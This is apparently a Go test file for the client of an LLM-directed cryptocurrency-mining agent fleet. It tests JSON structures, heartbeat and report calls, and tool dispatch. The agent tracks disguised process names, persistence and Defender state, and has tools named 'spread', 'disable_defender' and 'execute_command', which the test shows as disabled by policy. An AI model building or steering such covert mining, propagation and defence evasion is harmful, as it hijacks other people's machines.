Files
AetherForge/agent/client/ai_test.go
AetherForge feba06e008 Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00

274 lines
7.9 KiB
Go

package client
import (
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTruncateStr(t *testing.T) {
cases := []struct {
in, want string
max int
}{
{"short", "short", 10},
{"exactlyten", "exactlyten", 10},
{"this is longer than ten", "this is lo...", 10},
{"", "", 5},
{"abc", "...", 0},
}
for _, tc := range cases {
got := truncateStr(tc.in, tc.max)
if got != tc.want {
t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want)
}
}
}
func TestAgentStateJSONRoundTrip(t *testing.T) {
in := AgentState{
AgentID: "a1", WorkerName: "w1", Hostname: "host",
UptimeSeconds: 3600, IsRunning: true,
CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0,
Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5,
ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true,
HasTunnel: false, DefenderState: "enabled", LastError: "none",
}
var out AgentState
roundTrip(t, in, &out)
if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 {
t.Fatalf("unexpected: %+v", out)
}
}
func TestToolCallJSONRoundTrip(t *testing.T) {
in := ToolCall{
Tool: "check_miner",
Args: map[string]string{"process_name": "miner.exe"},
Reason: "verify process",
}
var out ToolCall
roundTrip(t, in, &out)
if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestDecideResponseJSONRoundTrip(t *testing.T) {
in := DecideResponse{
ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}},
Reasoning: "back off",
Error: "",
}
var out DecideResponse
roundTrip(t, in, &out)
if len(out.ToolCalls) != 1 || out.Reasoning != "back off" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestToolReportJSONRoundTrip(t *testing.T) {
in := ToolReport{
AgentID: "a1", Tool: "check_miner", Success: true,
Output: "process running", Timestamp: "2026-05-31T12:00:00Z",
}
var out ToolReport
roundTrip(t, in, &out)
if !out.Success || out.Output != "process running" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestDecideRequestJSONRoundTrip(t *testing.T) {
in := decideRequest{
AgentID: "a1",
OllamaEndpoint: "http://localhost:11434",
Model: "llama3",
AgentState: AgentState{AgentID: "a1", WorkerName: "w1"},
}
var out decideRequest
roundTrip(t, in, &out)
if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestHeartbeatRequestJSONRoundTrip(t *testing.T) {
in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"}
var out heartbeatRequest
roundTrip(t, in, &out)
if out.Status != "alive" || out.Message != "ok" {
t.Fatalf("unexpected: %+v", out)
}
}
func TestShareCounts(t *testing.T) {
a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }}
total, good, bad := a.shareCounts()
if total != 10 || good != 7 || bad != 3 {
t.Fatalf("got total=%d good=%d bad=%d", total, good, bad)
}
a.shareStats = func() (int, int) { return 5, 10 }
_, _, bad = a.shareCounts()
if bad != 0 {
t.Fatalf("negative bad clamped to 0, got %d", bad)
}
a.shareStats = nil
total, good, bad = a.shareCounts()
if total != 0 || good != 0 || bad != 0 {
t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad)
}
}
func TestExecuteToolCallPolicyDisabled(t *testing.T) {
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
for _, tool := range []string{"spread", "disable_defender", "execute_command"} {
report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
if report.Success || !strings.Contains(report.Output, "disabled by policy") {
t.Fatalf("tool %q: unexpected report %+v", tool, report)
}
if report.AgentID != "a1" || report.Tool != tool {
t.Fatalf("tool %q: wrong metadata %+v", tool, report)
}
}
}
func TestExecuteToolCallUnknownTool(t *testing.T) {
a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
if report.Success || !strings.Contains(report.Output, "unknown tool") {
t.Fatalf("unexpected: %+v", report)
}
}
func TestCallDecideMockHTTP(t *testing.T) {
var gotMethod, gotPath, gotSecret string
var gotBody decideRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotMethod = r.Method
gotPath = r.URL.Path
gotSecret = r.Header.Get("X-Fleet-Secret")
body, _ := io.ReadAll(r.Body)
_ = json.Unmarshal(body, &gotBody)
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
}))
defer srv.Close()
a := &AIRunner{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
httpClient: srv.Client(),
serverURL: strings.TrimRight(srv.URL, "/"),
agentID: "agent-1",
}
state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
resp, err := a.callDecide(state)
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
t.Fatalf("got %s %s", gotMethod, gotPath)
}
if gotSecret != "fleet-key" {
t.Fatalf("fleet secret %q", gotSecret)
}
if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
t.Fatalf("unexpected body: %+v", gotBody)
}
if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
t.Fatalf("unexpected response: %+v", resp)
}
}
func TestCallDecideMockHTTPErrorField(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
_, _ = w.Write([]byte(`{"error":"ollama offline"}`))
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
_, err := a.callDecide(AgentState{})
if err == nil || !strings.Contains(err.Error(), "ollama offline") {
t.Fatalf("expected decide error, got %v", err)
}
}
func TestCallDecideMockHTTPNonOK(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusServiceUnavailable)
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
}
_, err := a.callDecide(AgentState{})
if err == nil || !strings.Contains(err.Error(), "503") {
t.Fatalf("expected status error, got %v", err)
}
}
func TestSendHeartbeatMockHTTP(t *testing.T) {
var got heartbeatRequest
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/agent/heartbeat" {
t.Fatalf("path %s", r.URL.Path)
}
body, _ := io.ReadAll(r.Body)
_ = json.Unmarshal(body, &got)
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
a := &AIRunner{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
a.sendHeartbeat("alive", "test msg")
if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
t.Fatalf("unexpected heartbeat: %+v", got)
}
}
func TestReportResultsMockHTTP(t *testing.T) {
var count int
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/agent/report" {
t.Fatalf("path %s", r.URL.Path)
}
count++
w.WriteHeader(http.StatusOK)
}))
defer srv.Close()
a := &AIRunner{
httpClient: srv.Client(),
serverURL: srv.URL,
agentID: "a1",
}
a.reportResults([]ToolReport{
{AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
{AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
})
if count != 1 {
t.Fatalf("expected one report POST, got %d", count)
}
}